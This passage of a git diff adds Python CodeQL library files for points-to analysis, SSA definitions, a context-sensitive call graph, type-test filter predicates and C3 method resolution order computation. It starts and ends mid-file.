semmle.python.dataflow.SsaDefinitions + +module BasePointsTo { + /** INTERNAL -- Use n.refersTo(value, _, origin) instead */ + pragma [noinline] + predicate points_to(ControlFlowNode f, Object value, ControlFlowNode origin) { + ( + f.isLiteral() and value = f and not f.getNode() instanceof ImmutableLiteral + or + f.isFunction() and value = f + ) and origin = f + } +} + +/** The kwargs parameter (**kwargs) in a function definition is always a dict */ +predicate kwargs_points_to(ControlFlowNode f, ClassObject cls) { + exists(Function func | func.getKwarg() = f.getNode()) and + cls = theDictType() +} + +/** The varargs (*varargs) in a function definition is always a tuple */ +predicate varargs_points_to(ControlFlowNode f, ClassObject cls) { + exists(Function func | func.getVararg() = f.getNode()) and + cls = theTupleType() +} + +/** Gets the class of the object for simple cases, namely constants, functions, + * comprehensions and built-in objects. + * + * This exists primarily for internal use. Use getAnInferredType() instead. + */ +pragma [noinline] +ClassObject simple_types(Object obj) { + result = comprehension(obj.getOrigin()) + or + result = collection_literal(obj.getOrigin()) + or + obj.getOrigin() instanceof CallableExpr and result = thePyFunctionType() + or + obj.getOrigin() instanceof Module and result = theModuleType() + or + result = builtin_object_type(obj) +} + +private ClassObject comprehension(Expr e) { + e instanceof ListComp and result = theListType() + or + e instanceof SetComp and result = theSetType() + or + e instanceof DictComp and result = theDictType() + or + e instanceof GeneratorExp and result = theGeneratorType() +} + +private ClassObject collection_literal(Expr e) { + e instanceof List and result = theListType() + or + e instanceof Set and result = theSetType() + or + e instanceof Dict and result = theDictType() + or + e instanceof Tuple and result = theTupleType() +} + +private int tuple_index_value(Object t, int i) { + result = t.(TupleNode).getElement(i).getNode().(Num).getN().toInt() + or + exists(Object item | + py_citems(t, i, item) and + result = item.(NumericObject).intValue() + ) +} + +pragma [noinline] +int version_tuple_value(Object t) { + not exists(tuple_index_value(t, 1)) and result = tuple_index_value(t, 0)*10 + or + not exists(tuple_index_value(t, 2)) and result = tuple_index_value(t, 0)*10 + tuple_index_value(t, 1) + or + tuple_index_value(t, 2) = 0 and result = tuple_index_value(t, 0)*10 + tuple_index_value(t, 1) + or + tuple_index_value(t, 2) > 0 and result = tuple_index_value(t, 0)*10 + tuple_index_value(t, 1) + 1 +} + +/** Choose a version numbers that represent the extreme of supported versions. */ +private int major_minor() { + if major_version() = 3 then + (result = 33 or result = 37) // 3.3 to 3.7 + else + (result = 25 or result = 27) // 2.5 to 2.7 +} + +/** Compares the given tuple object to both the maximum and minimum possible sys.version_info values */ +int version_tuple_compare(Object t) { + version_tuple_value(t) < major_minor() and result = -1 + or + version_tuple_value(t) = major_minor() and result = 0 + or + version_tuple_value(t) > major_minor() and result = 1 +} + +/* Holds if `cls` is a new-style class if it were to have no explicit base classes */ +predicate baseless_is_new_style(ClassObject cls) { + cls.isBuiltin() + or + major_version() = 3 + or + exists(cls.declaredMetaClass()) +} + +/* The following predicates exist in order to provide + * more precise type information than the underlying + * database relations. This help to optimise the points-to + * analysis. + */ + +/** Gets the base class of built-in class `cls` */ +pragma [noinline] +ClassObject builtin_base_type(ClassObject cls) { + /* The extractor uses the special name ".super." to indicate the super class of a builtin class */ + py_cmembers_versioned(cls, ".super.", result, _) +} + +/** Gets the `name`d attribute of built-in class `cls` */ +pragma [noinline] +Object builtin_class_attribute(ClassObject cls, string name) { + not name = ".super." and + py_cmembers_versioned(cls, name, result, _) +} + +/** Holds if the `name`d attribute of built-in module `m` is `value` of `cls` */ +pragma [noinline] +predicate builtin_module_attribute(ModuleObject m, string name, Object value, ClassObject cls) { + py_cmembers_versioned(m, name, value, _) and cls = builtin_object_type(value) +} + +/** Gets the (built-in) class of the built-in object `obj` */ +pragma [noinline] +ClassObject builtin_object_type(Object obj) { + py_cobjecttypes(obj, result) and not obj = unknownValue() + or + obj = unknownValue() and result = theUnknownType() +} + +/** Holds if this class (not on a super-class) declares name */ +pragma [noinline] +predicate class_declares_attribute(ClassObject cls, string name) { + exists(Class defn | + defn = cls.getPyClass() and + class_defines_name(defn, name) + ) + or + exists(Object o | + o = builtin_class_attribute(cls, name) and + not exists(ClassObject sup | + sup = builtin_base_type(cls) and + o = builtin_class_attribute(sup, name) + ) + ) +} + +/** Holds if the class defines name */ +private predicate class_defines_name(Class cls, string name) { + exists(SsaVariable var | name = var.getId() and var.getAUse() = cls.getANormalExit()) +} + +/** Gets a return value CFG node, provided that is safe to track across returns */ +ControlFlowNode safe_return_node(PyFunctionObject func) { + result = func.getAReturnedNode() + // Not a parameter + and not exists(Parameter p, SsaVariable pvar | + p.asName().getAFlowNode() = pvar.getDefinition() and + result = pvar.getAUse() + ) and + // No alternatives + not exists(ControlFlowNode branch | branch.isBranch() and branch.getScope() = func.getFunction()) +} + +/** Holds if it can be determined from the control flow graph alone that this function can never return */ +predicate function_can_never_return(FunctionObject func) { + /* A Python function never returns if it has no normal exits that are not dominated by a + * call to a function which itself never returns. + */ + exists(Function f | + f = func.getFunction() and + not exists(f.getAnExitNode()) + ) + or + func = theExitFunctionObject() +} + +/** Python specific sub-class of generic EssaNodeDefinition */ +class PyNodeDefinition extends EssaNodeDefinition { + + override string getRepresentation() { + result = this.getAQlClass() + } + +} + +/** Python specific sub-class of generic EssaNodeRefinement */ +class PyNodeRefinement extends EssaNodeRefinement { + + override string getRepresentation() { + result = this.getAQlClass() + "(" + this.getInput().getRepresentation() + ")" + or + not exists(this.getInput()) and + result = this.getAQlClass() + "(" + this.getSourceVariable().getName() + "??)" + } +} + +/** An assignment to a variable `v = val` */ +class AssignmentDefinition extends PyNodeDefinition { + + AssignmentDefinition() { + SsaSource::assignment_definition(this.getSourceVariable(), this.getDefiningNode(), _) + } + + ControlFlowNode getValue() { + SsaSource::assignment_definition(this.getSourceVariable(), this.getDefiningNode(), result) + } + + override string getRepresentation() { + result = this.getValue().getNode().toString() + } + +} + +/** Capture of a raised exception `except ExceptionType ex:` */ +class ExceptionCapture extends PyNodeDefinition { + + ExceptionCapture() { + SsaSource::exception_capture(this.getSourceVariable(), this.getDefiningNode()) + } + + ControlFlowNode getType() { + exists(ExceptFlowNode ex | + ex.getName() = this.getDefiningNode() and + result = ex.getType() + ) + } + + override string getRepresentation() { + result = "except " + this.getSourceVariable().getName() + } + +} +/** An assignment to a variable as part of a multiple assignment `..., v, ... = val` */ +class MultiAssignmentDefinition extends PyNodeDefinition { + + MultiAssignmentDefinition() { + SsaSource::multi_assignment_definition(this.getSourceVariable(), this.getDefiningNode()) + } + + override string getRepresentation() { + result = "..." + } + +} + + +class WithDefinition extends PyNodeDefinition { + + WithDefinition () { + SsaSource::with_definition(this.getSourceVariable(), this.getDefiningNode()) + } + + override string getRepresentation() { + result = "with" + } + +} + +/** A definition of a variable by declaring it as a parameter */ +class ParameterDefinition extends PyNodeDefinition { + + ParameterDefinition() { + SsaSource::parameter_definition(this.getSourceVariable(), this.getDefiningNode()) + } + + predicate isSelf() { + this.getDefiningNode().getNode().(Parameter).isSelf() + } + + ControlFlowNode getDefault() { + result.getNode() = this.getParameter().getDefault() + } + + Parameter getParameter() { + result = this.getDefiningNode().getNode() + } + +} + +/** A definition of a variable in a for loop `for v in ...:` */ +class IterationDefinition extends PyNodeDefinition { + + ControlFlowNode sequence; + + IterationDefinition() { + SsaSource::iteration_defined_variable(this.getSourceVariable(), this.getDefiningNode(), sequence) + } + + ControlFlowNode getSequence() { + result = sequence + } + +} + +/** A deletion of a variable `del v` */ +class DeletionDefinition extends PyNodeDefinition { + + DeletionDefinition() { + SsaSource::deletion_definition(this.getSourceVariable(), this.getDefiningNode()) + } + +} + +/** Definition of variable at the entry of a scope. Usually this represents the transfer of + * a global or non-local variable from one scope to another. + */ +class ScopeEntryDefinition extends PyNodeDefinition { + + ScopeEntryDefinition() { + this.getDefiningNode() = this.getSourceVariable().(PythonSsaSourceVariable).getScopeEntryDefinition() and + not this instanceof ImplicitSubModuleDefinition + } + + override Scope getScope() { + result.getEntryNode() = this.getDefiningNode() + } + +} + +/** Possible redefinition of variable via `from ... import *` */ +class ImportStarRefinement extends PyNodeRefinement { + + ImportStarRefinement() { + SsaSource::import_star_refinement(this.getSourceVariable(), _, this.getDefiningNode()) + } + +} + +/** Assignment of an attribute `obj.attr = val` */ +class AttributeAssignment extends PyNodeRefinement { + + AttributeAssignment() { + SsaSource::attribute_assignment_refinement(this.getSourceVariable(), _, this.getDefiningNode()) + } + + string getName() { + result = this.getDefiningNode().(AttrNode).getName() + } + + ControlFlowNode getValue() { + result = this.getDefiningNode().(DefinitionNode).getValue() + } + + override string getRepresentation() { + result = this.getAQlClass() + " '" + this.getName() + "'(" + this.getInput().getRepresentation() + ")" + or + not exists(this.getInput()) and + result = this.getAQlClass() + " '" + this.getName() + "'(" + this.getSourceVariable().getName() + "??)" + } + +} + +/** A use of a variable as an argument, `foo(v)`, which might modify the object referred to. */ +class ArgumentRefinement extends PyNodeRefinement { + + ControlFlowNode argument; + + ArgumentRefinement() { + SsaSource::argument_refinement(this.getSourceVariable(), argument, this.getDefiningNode()) + } + + ControlFlowNode getArgument() { result = argument } + +} + +/** Deletion of an attribute `del obj.attr`. */ +class EssaAttributeDeletion extends PyNodeRefinement { + + EssaAttributeDeletion() { + SsaSource::attribute_deletion_refinement(this.getSourceVariable(), _, this.getDefiningNode()) + } + + string getName() { + result = this.getDefiningNode().(AttrNode).getName() + } + +} + +/** A pi-node (guard) with only one successor. */ +class SingleSuccessorGuard extends PyNodeRefinement { + + SingleSuccessorGuard() { + SsaSource::test_refinement(this.getSourceVariable(), _, this.getDefiningNode()) + } + + boolean getSense() { + exists(this.getDefiningNode().getAFalseSuccessor()) and result = false + or + exists(this.getDefiningNode().getATrueSuccessor()) and result = true + } + + override string getRepresentation() { + result = PyNodeRefinement.super.getRepresentation() + " [" + this.getSense().toString() + "]" + or + not exists(this.getSense()) and + result = PyNodeRefinement.super.getRepresentation() + " [??]" + } +} + +/** Implicit definition of the names of sub-modules in a package. + * Although the interpreter does not pre-define these names, merely populating them + * as they are imported, this is a good approximation for static analysis. + */ +class ImplicitSubModuleDefinition extends PyNodeDefinition { + + ImplicitSubModuleDefinition() { + SsaSource::init_module_submodule_defn(this.getSourceVariable(), this.getDefiningNode()) + } + +} + +/** An implicit (possible) definition of an escaping variable at a call-site */ +class CallsiteRefinement extends PyNodeRefinement { + + override string toString() { + result = "CallsiteRefinement" + } + + CallsiteRefinement() { + exists(PythonSsaSourceVariable var, ControlFlowNode defn | + defn = var.redefinedAtCallSite() and + this.definedBy(var, defn) and + not this instanceof ArgumentRefinement and + not this instanceof MethodCallsiteRefinement and + not this instanceof SingleSuccessorGuard + ) + } + + CallNode getCall() { + this.getDefiningNode() = result + } + +} + +/** An implicit (possible) modification of the object referred at a method call */ +class MethodCallsiteRefinement extends PyNodeRefinement { + + MethodCallsiteRefinement() { + SsaSource::method_call_refinement(this.getSourceVariable(), _, this.getDefiningNode()) + and not this instanceof SingleSuccessorGuard + } + + CallNode getCall() { + this.getDefiningNode() = result + } + +} + +/** An implicit (possible) modification of `self` at a method call */ +class SelfCallsiteRefinement extends MethodCallsiteRefinement { + + SelfCallsiteRefinement() { + this.getSourceVariable().(Variable).isSelf() + } + +} + +/** Python specific sub-class of generic EssaEdgeRefinement */ +class PyEdgeRefinement extends EssaEdgeRefinement { + + override string getRepresentation() { + /* This is for testing so use capital 'P' to make it sort before 'phi' and + * be more visually distinctive. */ + result = "Pi(" + this.getInput().getRepresentation() + ") [" + this.getSense() + "]" + or + not exists(this.getInput()) and + result = "Pi(" + this.getSourceVariable().getName() + "??) [" + this.getSense() + "]" + } + + ControlFlowNode getTest() { + result = this.getPredecessor().getLastNode() + } + +} + +/** Hold if outer contains inner, both are contained within a test and inner is a use is a plain use or an attribute lookup */ +pragma[noinline] +predicate contains_interesting_expression_within_test(ControlFlowNode outer, ControlFlowNode inner) { + inner.isLoad() and + exists(ControlFlowNode test | + outer.getAChild*() = inner and + test_contains(test, outer) and + test_contains(test, inner) | + inner instanceof NameNode or + inner instanceof AttrNode + ) +} + +/** Hold if `expr` is a test (a branch) and `use` is within that test */ +predicate test_contains(ControlFlowNode expr, ControlFlowNode use) { + expr.getNode() instanceof Expr and + expr.isBranch() and + expr.getAChild*() = use +} + +/** Holds if `test` is a test (a branch), `use` is within that test and `def` is an edge from that test with `sense` */ +predicate refinement_test(ControlFlowNode test, ControlFlowNode use, boolean sense, PyEdgeRefinement def) { + /* Because calls such as `len` may create a new variable, we need to go via the source variable + * That is perfectly safe as we are only dealing with calls that do not mutate their arguments. + */ + use = def.getInput().getSourceVariable().(Variable).getAUse() and + test = def.getPredecessor().getLastNode() and + test_contains(test, use) and + sense = def.getSense() +} + +/** Holds if `f` is an import of the form `from .[...] import name` and the enclosing scope is an __init__ module */ +pragma [noinline] +predicate live_import_from_dot_in_init(ImportMemberNode f, EssaVariable var) { + exists(string name | + import_from_dot_in_init(f.getModule(name)) and + var.getSourceVariable().getName() = name and var.getAUse() = f + ) +} + +/** Holds if `f` is an import of the form `from .[...] import ...` and the enclosing scope is an __init__ module */ +predicate import_from_dot_in_init(ImportExprNode f) { + f.getScope() = any(Module m).getInitModule() and + ( + f.getNode().getLevel() = 1 and + not exists(f.getNode().getName()) + or + f.getNode().getImportedModuleName() = f.getEnclosingModule().getPackage().getName() + ) +} + +/** Gets the pseudo-object representing the value referred to by an undefined variable */ +Object undefinedVariable() { + py_special_objects(result, "_semmle_undefined_value") +} + +/** Gets the pseudo-object representing an unknown value */ +Object unknownValue() { + py_special_objects(result, "_1") +} + +BuiltinCallable theTypeNewMethod() { + py_cmembers_versioned(theTypeType(), "__new__", result, major_version().toString()) +} + +/** Gets the `value, cls, origin` that `f` would refer to if it has not been assigned some other value */ +pragma [noinline] +predicate potential_builtin_points_to(NameNode f, Object value, ClassObject cls, ControlFlowNode origin) { + f.isGlobal() and f.isLoad() and origin = f and + ( + builtin_name_points_to(f.getId(), value, cls) + or + not exists(builtin_object(f.getId())) and value = unknownValue() and cls = theUnknownType() + ) +} + +pragma [noinline] +predicate builtin_name_points_to(string name, Object value, ClassObject cls) { + value = builtin_object(name) and py_cobjecttypes(value, cls) +} + +module BaseFlow { + + predicate reaches_exit(EssaVariable var) { + var.getAUse() = var.getScope().getANormalExit() + } + + /* Helper for this_scope_entry_value_transfer(...). Transfer of values from earlier scope to later on */ + pragma [noinline] + predicate scope_entry_value_transfer_from_earlier(EssaVariable pred_var, Scope pred_scope, ScopeEntryDefinition succ_def, Scope succ_scope) { + exists(SsaSourceVariable var | + reaches_exit(pred_var) and + pred_var.getScope() = pred_scope and + var = pred_var.getSourceVariable() and + var = succ_def.getSourceVariable() and + succ_def.getScope() = succ_scope + | + pred_scope.precedes(succ_scope) + or + /* If an `__init__` method does not modify the global variable, then + * we can skip it and take the value directly from the module. + */ + exists(Scope init | + init.getName() = "__init__" and init.precedes(succ_scope) and pred_scope.precedes(init) and + not var.(Variable).getAStore().getScope() = init and var instanceof GlobalVariable + ) + ) + } +} + +/** Points-to for syntactic elements where context is not relevant */ +predicate simple_points_to(ControlFlowNode f, Object value, ClassObject cls, ControlFlowNode origin) { + kwargs_points_to(f, cls) and value = f and origin = f + or + varargs_points_to(f, cls) and value = f and origin = f + or + BasePointsTo::points_to(f, value, origin) and cls = simple_types(value) + or + value = f.getNode().(ImmutableLiteral).getLiteralObject() and cls = simple_types(value) and origin = f +} + +/** Holds if `bit` is a binary expression node with a bitwise operator. + * Helper for `this_binary_expr_points_to`. + */ +predicate bitwise_expression_node(BinaryExprNode bit, ControlFlowNode left, ControlFlowNode right) { + exists(Operator op | + op = bit.getNode().getOp() | + op instanceof BitAnd or + op instanceof BitOr or + op instanceof BitXor + ) and + left = bit.getLeft() and + right = bit.getRight() +} + + +private +Module theCollectionsAbcModule() { + result.getName() = "_abcoll" + or + result.getName() = "_collections_abc" +} + +ClassObject collectionsAbcClass(string name) { + exists(Class cls | + result.getPyClass() = cls and + cls.getName() = name and + cls.getScope() = theCollectionsAbcModule() + ) +} diff --git a/python/ql/src/semmle/python/pointsto/CallGraph.qll b/python/ql/src/semmle/python/pointsto/CallGraph.qll new file mode 100644 index 00000000000..cc618690c32 --- /dev/null +++ b/python/ql/src/semmle/python/pointsto/CallGraph.qll @@ -0,0 +1,73 @@ +/** + * Context-sensitive call-graph. + * + * NOTE: Since an "invocation" contains callsite information + * and a path back to its ancestor calls, the "invocation" call-graph must be a tree. + * This has two important consequences: + * 1. The graph is incomplete; it has quite limited depth in order to keep the graph to a sensible size. + * 2. The graph is precise. Since different invocations are distinct, there can be no "cross-talk" between + * different calls to the same function. + */ +import python +private import semmle.python.pointsto.PointsToContext + +private newtype TTInvocation = TInvocation(FunctionObject f, Context c) { + exists(Context outer, CallNode call | + call = f.getACall(outer) and + c.fromCall(call, outer) + ) + or + c.appliesToScope(f.getFunction()) +} + +/** This class represents a static approximation to the + * dynamic call-graph. A `FunctionInvocation` represents + * all calls made to a function for a given context. + */ +class FunctionInvocation extends TTInvocation { + + string toString() { result = "Invocation" } + + FunctionObject getFunction() { this = TInvocation(result, _) } + + Context getContext() { this = TInvocation(_, result) } + + /** Gets the callee invocation for the given callsite. + * The callsite must be within the function of this invocation. + */ + FunctionInvocation getCallee(CallNode call) { + exists(FunctionObject callee, Context callee_context, FunctionObject caller, Context caller_context | + this = TInvocation(caller, caller_context) and + result = TInvocation(callee, callee_context) and + call = callee.getACall(caller_context) and + callee_context.fromCall(call, caller_context) and + call.getScope() = caller.getFunction() + ) + } + + /** Gets a callee invocation. + * That is any invocation made from within this invocation. + */ + FunctionInvocation getACallee() { + result = this.getCallee(_) + } + + /** Holds if this is an invocation `f` in the "runtime" context. */ + predicate runtime(FunctionObject f) { + exists(Context c | + c.isRuntime() and + this = TInvocation(f, c) + ) + } + + /** Gets the call from which this invocation was made. */ + CallNode getCall() { + this.getContext().fromCall(result, _) + } + + /** Gets the caller invocation of this invocation, if any. */ + FunctionInvocation getCaller() { + this = result.getCallee(_) + } + +} diff --git a/python/ql/src/semmle/python/pointsto/Context.qll b/python/ql/src/semmle/python/pointsto/Context.qll new file mode 100644 index 00000000000..156e8eb43b4 --- /dev/null +++ b/python/ql/src/semmle/python/pointsto/Context.qll @@ -0,0 +1,4 @@ +import python +private import semmle.python.pointsto.PointsToContext + +class Context = PointsToContext; \ No newline at end of file diff --git a/python/ql/src/semmle/python/pointsto/Filters.qll b/python/ql/src/semmle/python/pointsto/Filters.qll new file mode 100644 index 00000000000..6ac515b217a --- /dev/null +++ b/python/ql/src/semmle/python/pointsto/Filters.qll @@ -0,0 +1,47 @@ +/** Helper predicates for standard tests in Python commonly + * used to filter objects by value or by type. + */ + + +import python +import semmle.dataflow.SSA + +/** Holds if `c` is a call to `hasattr(obj, attr)`. */ +predicate hasattr(CallNode c, ControlFlowNode obj, string attr) { + c.getFunction().getNode().(Name).getId() = "hasattr" and + c.getArg(0) = obj and + c.getArg(1).getNode().(StrConst).getText() = attr +} + +/** Holds if `c` is a call to `callable(obj)`. */ +predicate is_callable(CallNode c, ControlFlowNode obj) { + c.getFunction().(NameNode).getId() = "callable" and + obj = c.getArg(0) +} + +/** Holds if `c` is a call to `isinstance(use, cls)`. */ +predicate isinstance(CallNode fc, ControlFlowNode cls, ControlFlowNode use) { + fc.getFunction().(NameNode).getId() = "isinstance" and + cls = fc.getArg(1) and fc.getArg(0) = use +} + +/** Holds if `c` is a test comparing `x` and `y`. `is` is true if the operator is `is` or `==`, it is false if the operator is `is not` or `!=`. */ +predicate equality_test(CompareNode c, ControlFlowNode x, boolean is, ControlFlowNode y) { + exists(Cmpop op | + c.operands(x, op, y) or + c.operands(y, op, x) + | + (is = true and op instanceof Is or + is = false and op instanceof IsNot or + is = true and op instanceof Eq or + is = false and op instanceof NotEq + ) + ) +} + +/** Holds if `c` is a call to `issubclass(use, cls)`. */ +predicate issubclass(CallNode fc, ControlFlowNode cls, ControlFlowNode use) { + fc.getFunction().(NameNode).getId() = "issubclass" and + fc.getArg(0) = use and cls = fc.getArg(1) +} + diff --git a/python/ql/src/semmle/python/pointsto/Final.qll b/python/ql/src/semmle/python/pointsto/Final.qll new file mode 100644 index 00000000000..a1f14b0f87c --- /dev/null +++ b/python/ql/src/semmle/python/pointsto/Final.qll @@ -0,0 +1,6 @@ +/* For backwards compatibility */ + +import PointsTo::PointsTo as P + +/** DEPRECATED: Use `PointsTo` instead */ +deprecated module FinalPointsTo = P; \ No newline at end of file diff --git a/python/ql/src/semmle/python/pointsto/MRO.qll b/python/ql/src/semmle/python/pointsto/MRO.qll new file mode 100644 index 00000000000..11ac81b120a --- /dev/null +++ b/python/ql/src/semmle/python/pointsto/MRO.qll @@ -0,0 +1,466 @@ +/** Classes and predicates for computing the Method Resolution Order (MRO) of classes. + * Supports both old-style (diamond) inheritance and new-style (C3 linearization) inheritance. + */ + +/* + * Implementation of the C3 linearization algorithm. + * See https://en.wikipedia.org/wiki/C3_linearization + * + * The key operation is merge, which takes a list of lists and produces a list. + * We implement it as the method `ClassListList.merge()` + * + * To support that we need to determine the best candidate to extract from a list of lists, + * implemented as `ClassListList.bestMergeCandidate()` + * + * The following code is designed to implement those operations + * without negation and as efficiently as possible. + */ + +import python +import semmle.python.pointsto.PointsTo + +cached private newtype TClassList = Empty() + or + Cons(ClassObject head, TClassList tail) { + required_cons(head, tail) + } + +/* Keep ClassList finite and as small as possible */ +private predicate required_cons(ClassObject head, ClassList tail) { + tail = merge_of_linearization_of_bases(head) + or + exists(ClassObject cls, int n | + head = cls.getBaseType(n) and tail = bases(cls, n+1) + ) + or + head = theObjectType() and tail = Empty() + or + reverse_step(_, Cons(head, _), tail) + or + exists(ClassListList list | + merge_step(tail, list, _) and + head = list.bestMergeCandidate() + ) + or + exists(ClassList list, int n | + n = list.firstIndex(head) and + tail = list.deduplicate(n+1) + ) + or + exists(ClassListList list, int n | + head = list.getHead().getItem(n) and + tail = flatten_list(list, n+1) + ) + or + tail = list_old_style_base_mros(head).flatten() +} + +/** A list of classes, used to represent the MRO of a class */ +class ClassList extends TClassList { + + string toString() { + result = "[" + this.contents() + "]" + } + + string contents() { + this = Empty() and result = "" + or + exists(ClassObject head | + head = this.getHead() | + this.getTail() = Empty() and result = head.getName() + or + this.getTail() != Empty() and result = head.getName() + ", " + this.getTail().contents() + ) + } + + int length() { + this = Empty() and result = 0 + or + result = this.getTail().length() + 1 + } + + ClassObject getHead() { + this = Cons(result, _) + } + + ClassList getTail() { + this = Cons(_, result) + } + + ClassObject getItem(int n) { + n = 0 and result = this.getHead() + or + result = this.getTail().getItem(n-1) + } + + pragma [inline] + ClassList removeHead(ClassObject cls) { + this.getHead() = cls and result = this.getTail() + or + this.getHead() != cls and result = this + or + this = Empty() and result = Empty() + } + + predicate legalMergeHead(ClassObject cls) { + this.getTail().doesNotContain(cls) + or + this = Empty() + } + + /** Use negative formulation for efficiency */ + predicate contains(ClassObject cls) { + cls = this.getHead() + or + this.getTail().contains(cls) + } + + /** Use negative formulation to avoid negative recursion */ + predicate doesNotContain(ClassObject cls) { + this.relevantForContains(cls) and + cls != this.getHead() and + this.getTail().doesNotContain(cls) + or + this = Empty() + } + + private predicate relevantForContains(ClassObject cls) { + exists(ClassListList list | + list.getItem(_).getHead() = cls and + list.getItem(_) = this + ) + or + exists(ClassList l | + l.relevantForContains(cls) and + this = l.getTail() + ) + } + + ClassObject findDeclaringClass(string name) { + exists(ClassObject head | + head = this.getHead() and + not head = theUnknownType() | + if head.declaresAttribute(name) then + result = head + else + result = this.getTail().findDeclaringClass(name) + ) + } + + Object lookup(string name) { + exists(ClassObject head | + head = this.getHead() and + not head = theUnknownType() | + if head.declaresAttribute(name) then + result = head.declaredAttribute(name) + else + result = this.getTail().lookup(name) + ) + } + + predicate declares(string name) { + this.getHead().declaresAttribute(name) + or + this.getTail().declares(name) + } + + ClassList startingAt(ClassObject cls) { + exists(ClassObject head | + head = this.getHead() | + if head = cls then + result = this + else + result = this.getTail().startingAt(cls) + ) + } + + ClassList deduplicate() { + result = this.deduplicate(0) + } + + /* Helpers for `deduplicate()` */ + + int firstIndex(ClassObject cls) { + result = this.firstIndex(cls, 0) + } + + /* Helper for firstIndex(cls), getting the first index of `cls` where result >= n */ + private int firstIndex(ClassObject cls, int n) { + this.getItem(n) = cls and result = n + or + this.getItem(n) != cls and result = this.firstIndex(cls, n+1) + } + + /** Holds if the class at `n` is a duplicate of an earlier position. */ + private predicate duplicate(int n) { + exists(ClassObject cls | + cls = this.getItem(n) and this.firstIndex(cls) < n + ) + } + + /** Gets a class list which is the de-duplicated form of the list containing elements of + * this list from `n` onwards. + */ + ClassList deduplicate(int n) { + n = this.length() and result = Empty() + or + this.duplicate(n) and result = this.deduplicate(n+1) + or + exists(ClassObject cls | + n = this.firstIndex(cls) and + result = Cons(cls, this.deduplicate(n+1)) + ) + } + + predicate isEmpty() { + this = Empty() + } + + ClassList reverse() { + reverse_step(this, Empty(), result) + } +} + +private newtype TClassListList = + EmptyList() or + ConsList(TClassList head, TClassListList tail) { + required_list(head, tail) + } + +/* Keep ClassListList finite and as small as possible */ +private predicate required_list(ClassList head, ClassListList tail) { + any(ClassListList x).removedClassParts(_, head, tail, _) + or + head = bases(_) and tail = EmptyList() + or + exists(ClassObject cls, int n | + head = new_style_mro(cls.getBaseType(n)) and + tail = list_of_linearization_of_bases_plus_bases(cls, n+1) + ) + or + exists(ClassObject cls, int n | + head = old_style_mro(cls.getBaseType(n)) and + tail = list_old_style_base_mros(cls, n+1) + ) +} + +private class ClassListList extends TClassListList { + + string toString() { + result = "[" + this.contents() + "]" + } + + string contents() { + this = EmptyList() and result = "" + or + exists(ClassList head | + head = this.getHead() | + this.getTail() = EmptyList() and result = head.toString() + or + this.getTail() != EmptyList() and result = head.toString() + ", " + this.getTail().contents() + ) + } + + int length() { + this = EmptyList() and result = 0 + or + result = this.getTail().length() + 1 + } + + ClassList getHead() { + this = ConsList(result, _) + } + + ClassListList getTail() { + this = ConsList(_, result) + } + + ClassList getItem(int n) { + n = 0 and result = this.getHead() + or + result = this.getTail().getItem(n-1) + } + + private ClassObject getAHead() { + result = this.getHead().getHead() + or + result = this.getTail().getAHead() + } + + pragma [nomagic] + ClassList merge() { + exists(ClassList reversed | + merge_step(reversed, EmptyList(), this) and + result = reversed.reverse() + ) + or + this = EmptyList() and result = Empty() + } + + /* Join ordering helper */ + pragma [noinline] + predicate removedClassParts(ClassObject cls, ClassList removed_head, ClassListList removed_tail, int n) { + cls = this.bestMergeCandidate() and n = this.length()-1 and + removed_head = this.getItem(n).removeHead(cls) and removed_tail = EmptyList() + or + exists(ClassList prev_head, ClassListList prev_tail | + this.removedClassParts(cls, prev_head, prev_tail, n+1) and + removed_head = this.getItem(n).removeHead(cls) and + removed_tail = ConsList(prev_head, prev_tail) + ) + } + + ClassListList remove(ClassObject cls) { + exists(ClassList removed_head, ClassListList removed_tail | + this.removedClassParts(cls, removed_head, removed_tail, 0) and + result = ConsList(removed_head, removed_tail) + ) + or + this = EmptyList() and result = EmptyList() + } + + predicate legalMergeCandidate(ClassObject cls, int n) { + cls = this.getAHead() and n = this.length() + or + this.getItem(n).legalMergeHead(cls) and + this.legalMergeCandidate(cls, n+1) + } + + predicate legalMergeCandidate(ClassObject cls) { + this.legalMergeCandidate(cls, 0) + } + + predicate illegalMergeCandidate(ClassObject cls) { + cls = this.getAHead() and + this.getItem(_).getTail().contains(cls) + } + + ClassObject bestMergeCandidate(int n) { + exists(ClassObject head | + head = this.getItem(n).getHead() + | + legalMergeCandidate(head) and result = head + or + illegalMergeCandidate(head) and result = this.bestMergeCandidate(n+1) + ) + } + + ClassObject bestMergeCandidate() { + result = this.bestMergeCandidate(0) + } + + /** Gets a ClassList representing the this list of list flattened into a single list. + * Used for old-style MRO computation. + */ + ClassList flatten() { + this = EmptyList() and result = Empty() + or + result = flatten_list(this, 0) + } + +} + +private ClassList flatten_list(ClassListList list, int n) { + need_flattening(list) and + exists(ClassList head, ClassListList tail | + list = ConsList(head, tail) + | + n = head.length() and result = tail.flatten() + or + result = Cons(head.getItem(n), flatten_list(list, n+1)) + ) +} + +/* Restrict flattening to those lists that need to be flattened */ +private predicate need_flattening(ClassListList list) { + list = list_old_style_base_mros(_) + or + exists(ClassListList toflatten | + need_flattening(toflatten) and + list = toflatten.getTail() + ) +} + +private ClassList bases(ClassObject cls) { + result = bases(cls, 0) +} + +private ClassList bases(ClassObject cls, int n) { + result = Cons(cls.getBaseType(n), bases(cls, n+1)) + or + result = Empty() and n = PointsTo::Types::class_base_count(cls) +} + +private ClassListList list_of_linearization_of_bases_plus_bases(ClassObject cls) { + result = list_of_linearization_of_bases_plus_bases(cls, 0) +} + +private ClassListList list_of_linearization_of_bases_plus_bases(ClassObject cls, int n) { + result = ConsList(bases(cls), EmptyList()) and n = PointsTo::Types::class_base_count(cls) + or + exists(ClassListList partial | + partial = list_of_linearization_of_bases_plus_bases(cls, n+1) and + result = ConsList(new_style_mro(cls.getBaseType(n)), partial) + ) +} + +private ClassList merge_of_linearization_of_bases(ClassObject cls) { + result = list_of_linearization_of_bases_plus_bases(cls).merge() +} + +cached ClassList new_style_mro(ClassObject cls) { + cls = theObjectType() and result = Cons(cls, Empty()) + or + result = Cons(cls, merge_of_linearization_of_bases(cls)) +} + +cached ClassList old_style_mro(ClassObject cls) { + PointsTo::Types::is_new_style_bool(cls) = false and + result = Cons(cls, list_old_style_base_mros(cls).flatten()).(ClassList).deduplicate() +} + +private ClassListList list_old_style_base_mros(ClassObject cls) { + result = list_old_style_base_mros(cls, 0) +} + +pragma [nomagic] +private ClassListList list_old_style_base_mros(ClassObject cls, int n) { + n = PointsTo::Types::class_base_count(cls) and result = EmptyList() + or + result = ConsList(old_style_mro(cls.getBaseType(n)), list_old_style_base_mros(cls, n+1)) +} + +/** Holds if the 